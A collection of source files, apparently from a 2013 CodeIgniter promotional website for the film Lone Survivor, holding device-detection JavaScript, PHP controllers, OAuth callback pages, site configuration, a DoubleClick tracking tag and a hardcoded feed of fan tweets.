return -1;//narrow
break ;
}
} else {
switch (orientation) {
case 90:
case -90:
return 1;//wide
break ;
default :
return -1;//narrow
break ;
}
}
}
function reviewScreen() {
if (getScreen() == -1) {
setNarrowScreen();
} else {
setWideScreen();
}
}
function initPage() {
loadDevice();
loadTemplate("location");
pageNavigate();
window.onhashchange = pageNavigate;
}
// Detects the current device.
function detectedDevice()
{
var uagent = navigator.userAgent.toLowerCase();
for (x in devices){
if (uagent.search(x) > -1) return devices[x];
}
return devices["other"];
}
//Loads css for detected device
function loadDevice(){
var device=detectedDevice();
$('head').append( $('<link rel="stylesheet" type="text/css" />').attr('href', css_base + device+'/style.css') );
$('head').append( $('<script type="text/javascript" language="javascript"></script>').attr('src', js_base+device+'/hooks.js') );
//alert(js_base+device + " create JS file!! common JS");
}
//narrow
function setNarrowScreen() {
$(".portrait_detected").show();
}
//wide
function setWideScreen() {
$(".portrait_detected").hide();
}
<file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed');
/* Copyright 2013 Hammer Technology Services, Inc. */
/**
* CodeIgniter HLabs Starter Kit Controller
*
*/
class HLabs_Controller extends CI_Controller
{
protected $css_groups=array();
protected $js_groups=array();
protected $default_js_options=array("minify"=>true,"weight"=>0);
protected $default_css_options=array("minify"=>true,"weight"=>0);
public function __construct()
{
parent::__construct();
}
public function _add_css($css,$group="head",$options=array())
{
$options=array_merge($this->default_css_options,$options);
$options["file"]=$css;
$this->css_groups[$group][]=$options;
}
public function _add_js($js,$group="head", $options=array())
{
$options=array_merge($this->default_js_options,$options);
$options["file"]=$js;
$this->js_groups[$group][]=$options;
}
public function _js_includes($group="head"){
minjs($this->_js_includes_array($group));
}
public function _css_includes($group="head"){
mincss($this->_css_includes_array($group));
}
public function _js_includes_array($group="head"){
$js=$this->js_groups[$group];
$js=$this->sortByColumn($js,"weight");
return $this->arrayColumn($js,"file");
}
public function _css_includes_array($group="head"){
$css=$this->css_groups[$group];
$css=$this->sortByColumn($css,"weight");
return $this->arrayColumn($css,"file");
}
public function _js_includes_string($group="head"){
$includes="";
$js=$this->js_groups[$group];
$js=$this->sortByColumn($js,"weight");
foreach ($js as $key => $js_include) {
$includes.='<script src="'.$js_include["file"].'"></script>';
}
return $includes;
}
public function _css_includes_string($group="head"){
$includes="";
$css=$this->css_groups[$group];
$css=$this->sortByColumn($css,"weight");
foreach ($css as $key => $css_include) {
$includes.='<link rel="stylesheet" href="'.$css_include["file"].'" />';
}
return $includes;
}
private function sortByColumn($array,$column="weight"){
$sortItems=$this->arrayColumn($array,"weight");
array_multisort($array,$sortItems);
return $array;
}
private function arrayColumn($array,$column){
$items=array();
foreach ($array as $key=>$value){
$items[$key]=$value[$column];
}
return $items;
}
}<file_sep><!doctype html>
<html xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<title>Facebook</title>
</head>
<body>
<?php if ($user) { ?>
<script src="/assets/js/libs/jquery-1.10.1.min.js"></script>
<script>
$( function() {
var data = {
provider: "<?php echo $provider ?>",
user_id: "<?php echo $user_id ?>",
user_name: "<?php echo $user_name ?>"
};
if ( window.opener && !window.opener.closed ) {
window.opener.capitol_oauth.okCallback( data );
window.close();
}
} )
</script>
<?php } else { ?>
<script>
window.location = "<?php echo $login_url; ?>";
</script>
<?php } ?>
</body>
</html>
<file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/* Copyright 2013 Hammer Technology Services, Inc. */
class Main extends HLabs_Controller {
public function buildView($viewName) {
$ua=getBrowser();
if ($ua['device_type']=="mobile" && ($this->config->item( 'use_php_redirects' ) == true)){
redirect( $this->config->item( 'mobile_redirect_url' ) );
}
$this->load->library("readimages");
$data=array();
$data["mobile_redirect_url"] = $this->config->item( 'mobile_redirect_url' );
$urlinfo=getUrl();
$releaseDateInfo=getReleaseDateInfo($urlinfo);
$gallery_photos=$this->readimages->preloadFromFolder("assets/img/gallery/photos","photo transparent");
$data["gallery_photos"]=$gallery_photos;
$gallery_thumbs=$this->readimages->preloadFromFolder("assets/img/gallery/thumbs","hide");
$data["gallery_thumbs"]=$gallery_thumbs;
$data["ua"] = $ua;
$data["title"] = $this->config->item( 'title' );
$data["desc"] = $this->config->item( 'desc' );
$data["url"] = $this->config->item( 'url' );
$data["image"] = $this->config->item( 'image' );
$data["facebook_url"] = $this->config->item( 'facebook_url' );
$data["keywords"] = $this->config->item( 'keywords' );
$data["og_title"] = $this->config->item( 'og_title' );
$data["ga_account"] = $this->config->item( 'ga_account' );
$this->_add_css("css/normalize.min.css","head");
$this->_add_css("css/jquery.jscrollpane.css","head");
$this->_add_js("js/libs/jquery-1.10.1.min.js","head");
$this->_add_js("js/libs/jquery.queryloader2.js","head");
$this->_add_js("js/libs/modernizr-2.6.2-respond-1.1.0.min.js","head");
//Javascript added at the end of the document
$this->_add_js("js/libs/requestAnimationFrame.js","footer",array("weight"=>-200));
$this->_add_js("js/libs/TweenMax.min.js","footer");
$this->_add_js("js/libs/ScrollToPlugin.min.js","footer");
$this->_add_js("js/libs/jquery.touchSwipe.js","footer");
$this->_add_js("js/libs/skrollr.js","footer");
$this->_add_js("js/libs/jquery.fitvids.js","footer");
$this->_add_js("js/libs/jquery.mousewheel.js","footer");
$this->_add_js("js/libs/jquery.jscrollpane.min.js","footer");
//$this->_add_js("js/libs/jquery.parallax.js","footer");
//$this->_add_js("js/libs/binaryajax.js","footer");
//$this->_add_js("js/libs/exif.js","footer");
//$this->_add_js("js/libs/jcanvas.min.js","footer");
//$this->_add_js("js/libs/load-image.min.js","footer");
//$this->_add_js("js/oauth.js","footer");
//$this->_add_js("js/upload.js","footer");
$preloader = $this->load->view('main_preloader',$data,true);
$loader = $this->load->view('main_loader',$data,true);
$main = $this->load->view($viewName,$data,true);
$foot = $this->load->view('main_foot',$data,true);
$head = $this->load->view('main_head', $data, true);
$this->output->append_output($head);
$this->output->append_output($preloader);
$this->output->append_output($loader);
$this->output->append_output($main);
$this->output->append_output($foot);
}
public function index() {
$this->buildView('main');
}
public function story() {
$this->buildView('story');
}
public function charity() {
$this->buildView('charity');
}
/*public function info(){
$this->load->view('info');
}*/
}
<file_sep>$( function() {
window.capitol_oauth = {
user_data: [],
init: function() {
var me = this;
$( ".login .twitter-btn, #main-login #twitter" ).click( function() {
//$( "#main-register" ).fadeIn( "slow" ); return;
if (!$(".audio-control").hasClass("off") ) {
if (typeof amb_snd!="undefined") amb_snd.play();
}
window.open( '/oauth/twitter/index/1', 'oauth_twitter', 'toolbar=0,status=0,width=548,height=325' );
} );
$( ".login .fb-btn, #main-login #facebook" ).click( function() {
if (!$(".audio-control").hasClass("off") ) {
if (typeof amb_snd!="undefined") amb_snd.play();
}
window.open( '/oauth/fb', 'oauth_fb', 'toolbar=0,status=0,width=1000,height=600' );
//$( ".register" ).fadeIn( "slow" );
} );
$( "div.register div.submit-btn" ).click( function() {
me.register();
} );
$( "#main-register div.submit-btn" ).click( function() {
//window.showHome();return;
me.mobile_register();
} );
},
okCallback: function( data ) {
this.user_data = data;
this.redLogin();
},
mobile_register: function() {
var me = this;
var user_name = $.trim( $( "#main-register #register_username" ).val() );
var user_email = $.trim( $( "#main-register #register_email" ).val() );
var gender = $("#main-register input[name='gender']:checked").val();
var terms = $( "#main-register #terms" ).is(":checked");
var opt_in = $( "#main-register #notifications" ).is(":checked");
if ( terms ) {
var valid_email = /^[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}$/.test( user_email );
var valid_name = /^[A-Za-z0-9_]{3,25}$/.test( user_name );
if ( valid_email && valid_name ) {
window.capitol_upload.imgUpload( function( data ) {
var badge = "";
if ( typeof data.file == "string" ) {
badge = data.file;
}
me.redRegister( {
user_name: user_name,
user_email: user_email,
gender: gender,
badge: badge
} );
} );
}
}
},
register: function() {
var me = this;
var user_name = $.trim( $( "div.register #register_username" ).val() );
var user_email = $.trim( $( "div.register #register_email" ).val() );
var gender = $( "div.gender div.radio.checked" ).data( 'userGender' );
var terms = $( "div.checkbox.terms" ).hasClass( "checked" );
var opt_in = $( "div.checkbox.opt-in" ).hasClass( "checked" );
if ( terms ) {
var valid_email = /^[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}$/.test( user_email );
var valid_name = /^[A-Za-z0-9_]{3,25}$/.test( user_name );
if ( valid_email && valid_name ) {
window.capitol_upload.imgUpload( function( data ) {
var badge = "";
if ( typeof data.file == "string" ) {
badge = data.file;
}
me.redRegister( {
user_name: user_name,
user_email: user_email,
gender: gender,
badge: badge
} );
} );
}
}
},
redRegister: function( in_data ) {
in_data.provider = this.user_data.provider;
in_data.user_id = this.user_data.user_id;
var me = this;
$.ajax( {
type: "POST",
dataType: 'json',
url: '/api/red/register',
data: in_data
} ).done( function( data ) {
if ( data.status && typeof data.red_response.social_ids == "object" ) {
window.red_api.loadProfile( data.red_response );
}
} );
},
redLogout: function() {
$.ajax( {
type: "GET",
dataType: 'json',
url: '/api/red/logout'
} ).done( function( data ) {
if ( data.status ) {
window.location.reload();
}
} );
},
redLogin: function() {
var me = this;
if (window.loginShowMessage) loginShowMessage( "INITIALIZING", "USER PROFILE" );
$.ajax( {
type: "GET",
dataType: 'json',
url: '/api/red/login',
data: {
provider: this.user_data.provider,
user_id: this.user_data.user_id
}
} ).done( function( data ) {
if ( data.status ) {
console.log( 'signin', data );
$("body").data("network",me.user_data.provider);
if ( typeof data.red_response == "object" ) {
if ( typeof data.red_response.error == "string" ) {
if ( data.red_response.error == "Unknown social id" ) {
$( "#register_username" ).val( me.user_data.user_name );
$( "#main-register" ).fadeIn( "slow" );
}
else{
if (window.loginShowMessage) window.loginShowMessage("initialization error.",data.red_response.error,2000);
}
} else if ( typeof data.red_response.social_ids == "object" ) {
window.red_api.loadProfile( data.red_response );
}
}
}
} );
}
};
window.capitol_oauth.init();
} );
<file_sep><?php if ( ! defined( 'BASEPATH' ) ) exit( 'No direct script access allowed' );
/* Copyright 2013 Hammer Technology Services, Inc. */
// list of available langs, all need to be a two characters long word
$config[ 'available_langs' ] = array( "en", "es" );
// default language
// for example, set it to 'en' so that url/welcome is the same as url/en/welcome
$config[ 'default_lang' ] = "en";
// Configuration of Feature and folder checks
$config['required_features']=array("oauth","curl");
//List folders that need to exist (and maybe writeable)
$config['check_folders']=array(
array("folder"=>"assets","requires_write"=>false),
array("folder"=>"assets/uploadimages","requires_write"=>true)
);
$config["use_php_redirects"] = false;
$config["mobile_redirect_url"] = "http://universalpictures.mobi/lonesurvivor";
//Meta tags, FB tags, etc.
$config["title"] = "Lone Survivor | Official Movie Site | Universal Pictures";
$config["desc"] = "Based on the failed June 28, 2005 mission, Operation Red Wings. Four members of SEAL Team 10, were tasked with the mission to capture or kill notorious Taliban leader, <NAME>. <NAME> was the only member of his team to survive.";
$config["url"] = "http://www.lonesurvivorfilm.com";
$config["image"] = "http://www.lonesurvivorfilm.com/lone_survivor.jpg";
$config["facebook_url"] = "URL to facebook landing page";
$config["keywords"] = "Lone Survivor <NAME> <NAME> <NAME> <NAME> <NAME> <NAME>";
$config["og_title"] = "Follow The Latest News From The Lone Survivor";
$config["ga_account"] = ""; //Google Analytics account. Leave empty to disable.<file_sep><?php if ( !defined( 'BASEPATH' ) ) exit( 'No direct script access allowed' );
/* Copyright 2013 Hammer Technology Services, Inc. */
class ReadImages {
public function preloadFromFolder( $folder, $class="") {
// read vars from config
$CI =& get_instance();
$path=BASEPATH."../".$folder;
$files=scandir($path);
$result="";
foreach ($files as $file){
$fullpath=$path."/".$file;
if (!is_dir($fullpath)){
$fullUrl=$folder."/".$file;
$result=$result.'<img class="'.$class.'" onload="$(this).data(\'loaded\', \'loaded\');" onerror="$(this).data(\'loaded\', \'loaded\');" data-source="'.$fullUrl.'" data-filename="'.$file.'">'."\n";
}
}
return $result;
}
}
<file_sep><!DOCTYPE html>
<html>
<head>
<title>Authorization</title>
</head>
<body>
<script src="/assets/js/libs/jquery-1.10.1.min.js"></script>
<script>
$( function() {
var data = {
provider: "<?php echo $provider ?>",
user_id: "<?php echo $user_id ?>",
user_name: "<?php echo $user_name ?>"
};
if ( window.opener && !window.opener.closed ) {
window.opener.capitol_oauth.okCallback( data );
window.close();
}
} )
</script>
</body>
</html><file_sep><!DOCTYPE html>
<!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7"> <![endif]-->
<!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8"> <![endif]-->
<!--[if IE 8]> <html class="no-js lt-ie9"> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js"> <!--<![endif]-->
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<!--meta name="viewport" content="<?php echo $ua['view_port']; ?>"-->
<meta name="viewport" content="<?php echo $ua['view_port']; ?>">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title><?php echo $title; ?></title>
<link rel="canonical" href="<?php echo $url; ?>" />
<meta name="description" content="<?php echo $desc; ?>">
<meta name="keywords" content="<?php echo $keywords; ?>">
<meta property="og:title" content="<?php echo $og_title; ?>" />
<meta property="og:description" content="<?php echo $desc; ?>" />
<meta property="og:url" content="<?php echo $url; ?>" />
<meta property="og:image" name="thumb" content="<?php echo $image; ?>" />
<meta property="og:type" content="movie" />
<meta property="og:site_name" content="<?php echo $title; ?>" />
<script type="text/javascript">
window.ga_account = "<?php echo $ga_account; ?>";
window.device_type = "<?php echo $ua["device_type"] ?>";
if(window.device_type == "mobile") {
self.location="<?php echo $mobile_redirect_url ?>";
}
if( /iPhone|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) ) {
window.location.href = "<?php echo $mobile_redirect_url ?>";
}
</script>
<link href='http://fonts.googleapis.com/css?family=Oswald:400,300,700' rel='stylesheet' type='text/css'>
<link href='http://fonts.googleapis.com/css?family=Share+Tech' rel='stylesheet' type='text/css'>
<?php
$CI =& get_instance();
$CI->_css_includes("head");
$CI->_js_includes("head");
?>
</head>
<body class="guest">
<!--[if lt IE 7]>
<p class="chromeframe">You are using an <strong>outdated</strong> browser. Please <a href="http://browsehappy.com/">upgrade your browser</a> or <a href="http://www.google.com/chromeframe/?redirect=true">activate Google Chrome Frame</a> to improve your experience.</p>
<![endif]-->
<!-- include this for Facebook JS SDK to work -->
<div id="fb-root"></div>
<!-- Start of DoubleClick Floodlight Tag: Please do not remove
Activity name of this tag: Lone Survivor Main Site
URL of the webpage where the tag is expected to be placed: http://www.lonesurvivorfilm.com/
This tag must be placed between the <body> and </body> tags, as close as possible to the opening tag.
Creation Date: 10/03/2013 -->
<script type="text/javascript">
var axel = Math.random() + "";
var a = axel * 10000000000000;
document.write('<iframe src="http://1400366.fls.doubleclick.net/activityi;src=1400366;type=lones495;cat=lones109;ord=' + a + '?" width="1" height="1" frameborder="0" style="display:none"></iframe>');
</script>
<noscript>
<iframe src="http://1400366.fls.doubleclick.net/activityi;src=1400366;type=lones495;cat=lones109;ord=1?" width="1" height="1" frameborder="0" style="display:none"></iframe>
</noscript>
<!-- End of DoubleClick Floodlight Tag: Please do not remove -->
<file_sep><html>
<head>
<title>Compatibility Status</title>
<link rel="stylesheet" type="text/css" href="/assets/css/status.css" media="screen">
</head>
<body>
<h1>Compatibility Status</h1>
<h3>Server Features</h3>
<ul>
<?php foreach ($features as $feature):?>
<li class="<?php echo $feature["class"];?>"><?php echo $feature["title"];?></li>
<?php endforeach;?>
</ul>
<h3>Server Folders</h3>
<ul>
<?php foreach ($folders as $folder):?>
<li class="<?php echo $folder["class"];?>"><?php echo $folder["folder"];?></li>
<?php endforeach;?>
</ul>
</body>
</html>
<file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/* Copyright 2013 Hammer Technology Services, Inc. */
class Status extends CI_Controller {
public function index() {
//Check features
$this->load->library("features");
$features=$this->config->item("features");
$required_features=$this->config->item("required_features");
foreach($features as $name=>$feature){
$class="";
$feature["available"]=$this->features->checkByName($name);
if ($feature["available"]){
$class="available";
}
else{
if (in_array($name,$required_features)){
$class="required not-available";
}
else{
$class="not-available";
}
}
$feature["class"]=$class;
$features[$name]=$feature;
}
//Check folders
$check_folders=$this->config->item("check_folders");
foreach($check_folders as $key=>$check_folder){
$class="";
$folder=$check_folder["folder"];
$requires_write=$check_folder["requires_write"];
if (is_dir($folder)){
if (is_writable($folder)){
$class="exists writeable";
}
else{
$class="exists not-writeable";
}
}
else{
$class="not-exists not-writeable";
}
if ($requires_write){
$class=$class." requires-write";
}
$check_folder["class"]=$class;
$check_folders[$key]=$check_folder;
}
$data=array();
$data["features"]=$features;
$data["folders"]=$check_folders;
$this->load->view("status",$data);
}
}
<file_sep><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Welcome to CodeIgniter</title>
<!--<script type="text/javascript" src="/minify/compile/js/demo.js,example.js"></script>-->
<?php minjs(array("js/demo.js", "js/example.js")) ?>
<?php mincss(array("css/welcome.css")) ?>
</head>
<body>
<div id="container">
<h1><?php p("welcome_to_ci") ?>!</h1>
<div id="body">
<p><?php p("the_page_youre_looking_at") ?>.</p>
<p><?php p("complex_text") ?></p>
</div>
<p class="footer">
<a href="/en/welcome">EN</a> |
<a href="/es/welcome">ES</a> |
Page rendered in <strong>{elapsed_time}</strong> seconds
</p>
</div>
</body>
</html><file_sep>function Social() {
this.get_data();
}
Social.prototype.get_data = function () {
this.data = [];
this.facebook_feed = [
{ "profile_image_url":"https://fbcdn-sphotos-b-a.akamaihd.net/hphotos-ak-prn2/q71/s720x720/970156_685104214850014_313131357_n.jpg" ,
"description":'How did the cast prepare for Lone Survivor? <NAME> sits down with HuffPost Live. SHARE their story: <a href="http://ow.ly/nywER" target="_blank">http://ow.ly/nywER</a>',
"screen_name":"Lone Survivor",
"url":"https://www.facebook.com/photo.php?fbid=685104214850014&set=a.685153138178455.1073741828.673743292652773&type=1&theater"
},
{ "profile_image_url":"https://sphotos-a.xx.fbcdn.net/hphotos-frc1/q82/999155_10152081919803508_1564007156_n.jpg" ,
"description":'<NAME> stars in "Lone Survivor" an incredible Navy SEAL true story; WATCH the Moviefone exclusive premiere of the trailer now: <a href="http://aol.it/18SkiCN" target="_blank">http://aol.it/18SkiCN</a>',
"screen_name":"Lone Survivor",
"url":"http://facebook.com/LoneSurvivorFilm"
},
];
this.data.push({
id:"facebook",
feed:this.facebook_feed,
});
this.twitter_feed = [
{ "profile_image_url":"https://si0.twimg.com/profile_images/3221799176/bbdd90f6d08aea6744f6954ee2a738c5_normal.png" ,
"description":'The director of <a href="http://twitter.com/LoneSurvivorUSA" target="_blank">@<b>LoneSurvivorUSA</b></a> talks to <a href="/HuffPostLive" class="twitter-atreply pretty-link" dir="ltr" >@<b>HuffPostLive</b></a> about the difficult journey it took to the screen: <a href="http://t.co/FuAxKgLvJG" rel="nofollow" dir="ltr" data-expanded-url="http://aol.it/14m9kDQ" class="twitter-timeline-link" target="_blank" title="http://aol.it/14m9kDQ" ><span class="tco-ellipsis"></span><span class="invisible">http://</span><span class="js-display-url">aol.it/14m9kDQ</span><span class="invisible"></span><span class="tco-ellipsis"><span class="invisible"> </span></span></a>',
"screen_name":"moviefone",
"url":"https://twitter.com/moviefone/status/363143631320145920"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/933613298/entertainment_normal.png" ,
"description":'Why director <NAME> made "Lone Survivor" <a href="http://t.co/EXYAfFKbRG" rel="nofollow" dir="ltr" data-expanded-url="http://huff.to/1ceRk0k" class="twitter-timeline-link" target="_blank" title="http://huff.to/1ceRk0k" ><span class="tco-ellipsis"></span><span class="invisible">http://</span><span class="js-display-url">huff.to/1ceRk0k</span><span class="invisible"></span><span class="tco-ellipsis"><span class="invisible"> </span></span></a>',
"screen_name":"HuffPostEnt",
"url":"https://twitter.com/HuffPostEnt/status/363070403545419776"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/3390220032/08b1250baa0aec29528a3c29647aa06f_normal.jpeg" ,
"description":'The lone survivor trailer looks good. Tells a story that needs to be told <a href="http://twitter.com/search?q=%23lonesurvivor&src=hash" data-query-source="hashtag_click" target="_blank" class="twitter-hashtag pretty-link js-nav" dir="ltr" >#<b>lonesurvivor</b></a>',
"screen_name":"bsp017",
"url":"https://twitter.com/bsp017/status/362721120304119811"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/378800000166411173/8e5d93737155715386df0f4166716112_normal.jpeg" ,
"description":'what do you think of the trailer for my new film? <a href="http://twitter.com/search?q=%23LoneSurvivor&src=hash" data-query-source="hashtag_click" target="_blank" class="twitter-hashtag pretty-link js-nav" dir="ltr" >#<b>LoneSurvivor</b></a> <a href="http://twitter.com/search?q=%23veryexcited&src=hash" data-query-source="hashtag_click" target="_blank" class="twitter-hashtag pretty-link js-nav" dir="ltr" >#<b>veryexcited</b></a> about this film truly moving story',
"screen_name":"alexanderludwig",
"url":"https://twitter.com/alexanderludwig/status/362693154710880256"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/378800000221345275/1a7a64e9c3935b1e845ff22d887cd663_normal.jpeg" ,
"description":'Based on true acts of courage. Watch & RT the <a href="http://twitter.com/search?q=%23LoneSurvivor&src=hash" data-query-source="hashtag_click" target="_blank" class="twitter-hashtag pretty-link js-nav" dir="ltr" >#<b>LoneSurvivor</b></a> trailer starring <a href="http://twitter.com/mark_wahlberg" class="twitter-atreply pretty-link" dir="ltr" >@<b>mark_wahlberg</b></a>! <a href="http://t.co/B3myYdEqVR" rel="nofollow" dir="ltr" data-expanded-url="http://bit.ly/LoneSurvivorTrailer" class="twitter-timeline-link" target="_blank" title="http://bit.ly/LoneSurvivorTrailer" ><span class="tco-ellipsis"></span><span class="invisible">http://</span><span class="js-display-url">bit.ly/LoneSurvivorTr</span><span class="invisible">ailer</span><span class="tco-ellipsis"><span class="invisible"> </span>…</span></a>',
"screen_name":"LoneSurvivorUSA",
"url":"https://twitter.com/LoneSurvivorUSA/status/363023227297083392"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/902499829/DSC06305-1-3_normal.jpg" ,
"description":'Exclusive trailer for <a href="http://twitter.com/search?q=%23LoneSurvivor&src=hash" data-query-source="hashtag_click" target="_blank" class="twitter-hashtag pretty-link js-nav" dir="ltr" >#<b>LoneSurvivor</b></a> & Operation Redwing. One of the most amazing books I've ever read. <a href="http://twitter.com/us_navyseals" target="_blank" class="twitter-atreply pretty-link" dir="ltr" >@<b>us_navyseals</b></a> ',
"screen_name":"_StarrHall_",
"url":"https://twitter.com/_StarrHall_/status/362798592441860097"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/1497554336/36824_1355011515887_1249436292_30818325_7685629_n_normal.jpg" ,
"description":'The book was amazing, heartbreaking, & inspirational. Teared up just watching the trailer. <a href="http://twitter.com/search?q=%23LoneSurvivor&src=hash" data-query-source="hashtag_click" target="_blank" class="twitter-hashtag pretty-link js-nav" dir="ltr" >#<b>LoneSurvivor</b></a> <a href="http://t.co/yzu5LuYkec" rel="nofollow" dir="ltr" data-expanded-url="http://m.huffpost.com/us/entry/3682843/" class="twitter-timeline-link" target="_blank" title="http://m.huffpost.com/us/entry/3682843/" ><span class="tco-ellipsis"></span><span class="invisible">http://</span><span class="js-display-url">m.huffpost.com/us/entry/36828</span><span class="invisible">43/</span><span class="tco-ellipsis"><span class="invisible"> </span>…</span></a>',
"screen_name":"ginmarie0313",
"url":"https://twitter.com/ginmarie0313/status/362710740748075008"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/3199581794/7e6a4bfe3d12c5e9f6ac8ad20a49b763_normal.jpeg" ,
"description":'Cannot wait to see Lone Survivor. Looks Unreal',
"screen_name":"Nowicks7",
"url":"https://twitter.com/Nowicks7/status/367058143777263616"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/1113429391/45705_484745963915_679103915_6847533_4084698_n_normal.jpg" ,
"description":'<a href="http://twitter.com/JonahFoundGold" target="_blank">@<b>JonahFoundGold</b></a> check my Facebook for this new Wahlberg movie Lone Survivor, that's gonna be awesome',
"screen_name":"MaxBard",
"url":"https://twitter.com/MaxBard/status/367052402030940160"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/378800000283732730/3d13072ea84610f6a44e4dafdc6c1889_normal.jpeg" ,
"description":'<a href="http://t.co/pK7B6ei79f" rel="nofollow" dir="ltr" data-expanded-url="http://youtu.be/5Q-uKId2W0M" class="twitter-timeline-link" target="_blank" title="http://youtu.be/5Q-uKId2W0M" ><span class="tco-ellipsis"></span><span class="invisible">http://</span><span class="js-display-url">youtu.be/5Q-uKId2W0M</span><span class="invisible"></span><span class="tco-ellipsis"><span class="invisible"> </span></span></a> via <a href="http://twitter.com/youtube" target="_blank">@<b>youtube</b></a> The new Mark Wahlberg movie "Lone Survivor" based on the true story of the lost hero's of Seal Team 10',
"screen_name":"IanTorrForShore",
"url":"https://twitter.com/IanTorrForShore/status/367055583783825408"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/3487330791/faedf8e0c01f817c6b5192e080653814_normal.jpeg" ,
"description":'Can't wait too see Lone Survivor!',
"screen_name":"SLICK_LIVNG",
"url":"https://twitter.com/SLICK_LIVNG/status/367049740221165568"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/378800000265589083/a1d41de70c090d746a97491e0711deb3_normal.jpeg" ,
"description":'Lone Survivor loooooks so gooood <a href="http://twitter.com/search?q=%23CantWait&src=hash" data-query-source="hashtag_click" target="_blank" class="twitter-hashtag pretty-link js-nav" dir="ltr" >#<b>CantWait</b></a>',
"screen_name":"TomMacca93",
"url":"https://twitter.com/TomMacca93/status/367035386616217600"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/3454237062/93b4145680fbc373ccbeded1fc9bb329_normal.jpeg" ,
"description":'<NAME>'s new movie Lone Survivor looks too good <a href="http://twitter.com/Smoochy_Wallace" target="_blank">@<b>Smoochy_Wallace</b></a>',
"screen_name":"AC_Claypool24",
"url":"https://twitter.com/AC_Claypool24/status/367030383705329664"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/378800000229753515/3774bd85e4c5fbc580c58d77dad173f6_normal.jpeg" ,
"description":'<a href="http://twitter.com/mark_wahlberg" target="_blank">@<b>mark_wahlberg</b></a> just seen the trailer for <a href="http://twitter.com/search?q=%23lonesurvivor&src=hash" data-query-source="hashtag_click" target="_blank" class="twitter-hashtag pretty-link js-nav" dir="ltr" >#<b>lonesurvivor</b></a> looking forward to it. Looks great',
"screen_name":"pbradyp",
"url":"https://twitter.com/pbradyp/status/367018275089027072"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/378800000272201522/23c986226b3fee8a0eb1f285b8410417_normal.jpeg" ,
"description":'LONE SURVIVOR LOOKS GR8',
"screen_name":"MightyTyler",
"url":"https://twitter.com/MightyTyler/status/367007920883380225"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/378800000194801892/c124465eee1b94539abb96d75434d87c_normal.jpeg" ,
"description":'The movie lone survivor >>> shit will be seen man .. WILL',
"screen_name":"sniperkc",
"url":"https://twitter.com/sniperkc/status/367007445840703489"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/378800000177040157/fafbe2d54eda15cde335412e00868664_normal.jpeg" ,
"description":'Lone Survivor looks incredible. I can already see <NAME> holding up an Oscar for it.',
"screen_name":"Chris_Mikulas",
"url":"https://twitter.com/Chris_Mikulas/status/366960952056360963"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/378800000112464262/dc11db5396698b9356d5ab947378ed17_normal.jpeg" ,
"description":'Just watched the trailer for <a href="http://twitter.com/search?q=%23LoneSurvivor&src=hash" data-query-source="hashtag_click" target="_blank" class="twitter-hashtag pretty-link js-nav" dir="ltr" >#<b>LoneSurvivor</b></a> & it looks awesome! Read the book can't wait to see the movie 🇺🇸',
"screen_name":"MShawnalmond",
"url":"https://twitter.com/MShawnalmond/status/366936004805922816"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/378800000102001759/1f0aa937d205f027e80361b8463be8a9_normal.jpeg" ,
"description":'Lone Survivor looks like an awesome movie <a href="http://twitter.com/search?q=%23CantWait&src=hash" data-query-source="hashtag_click" target="_blank" class="twitter-hashtag pretty-link js-nav" dir="ltr" >#<b>CantWait</b></a>',
"screen_name":"PlanetMaherz",
"url":"https://twitter.com/PlanetMaherz/status/366922014998528000"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/3781801573/338f328e9b85c0a007a644f6acd330b0_normal.jpeg" ,
"description":'Lone Survivor is about to be a great movie! <a href="http://twitter.com/mark_wahlberg" target="_blank">@<b>mark_wahlberg</b></a>',
"screen_name":"Dom_Rosati",
"url":"https://twitter.com/Dom_Rosati/status/366901285179506688"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/378800000267865514/83b6d001fb3b860817c59e179537a5f1_normal.jpeg" ,
"description":'Lone Survivor with <NAME> boutta make me cry already know it',
"screen_name":"whiteloser",
"url":"https://twitter.com/whiteloser/status/366877562661642242"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/3616150785/32c44ec1cd3b7035ed43f9275546984d_normal.jpeg" ,
"description":'Lone Survivor (2013) <a href="http://t.co/zcEXskhrTt" rel="nofollow" dir="ltr" data-expanded-url="http://www.imdb.com/title/tt1091191/" class="twitter-timeline-link" target="_blank" title="http://www.imdb.com/title/tt1091191/" ><span class="tco-ellipsis"></span><span class="invisible">http://www.</span><span class="js-display-url">imdb.com/title/tt109119</span><span class="invisible">1/</span><span class="tco-ellipsis"><span class="invisible"> </span></span></a> <a href="http://twitter.com/search?q=%23IMDb&src=hash" data-query-source="hashtag_click" target="_blank" class="twitter-hashtag pretty-link js-nav" dir="ltr" >#<b>IMDb</b></a> looks like another great Mark Wahlberg film',
"screen_name":"nmorris76",
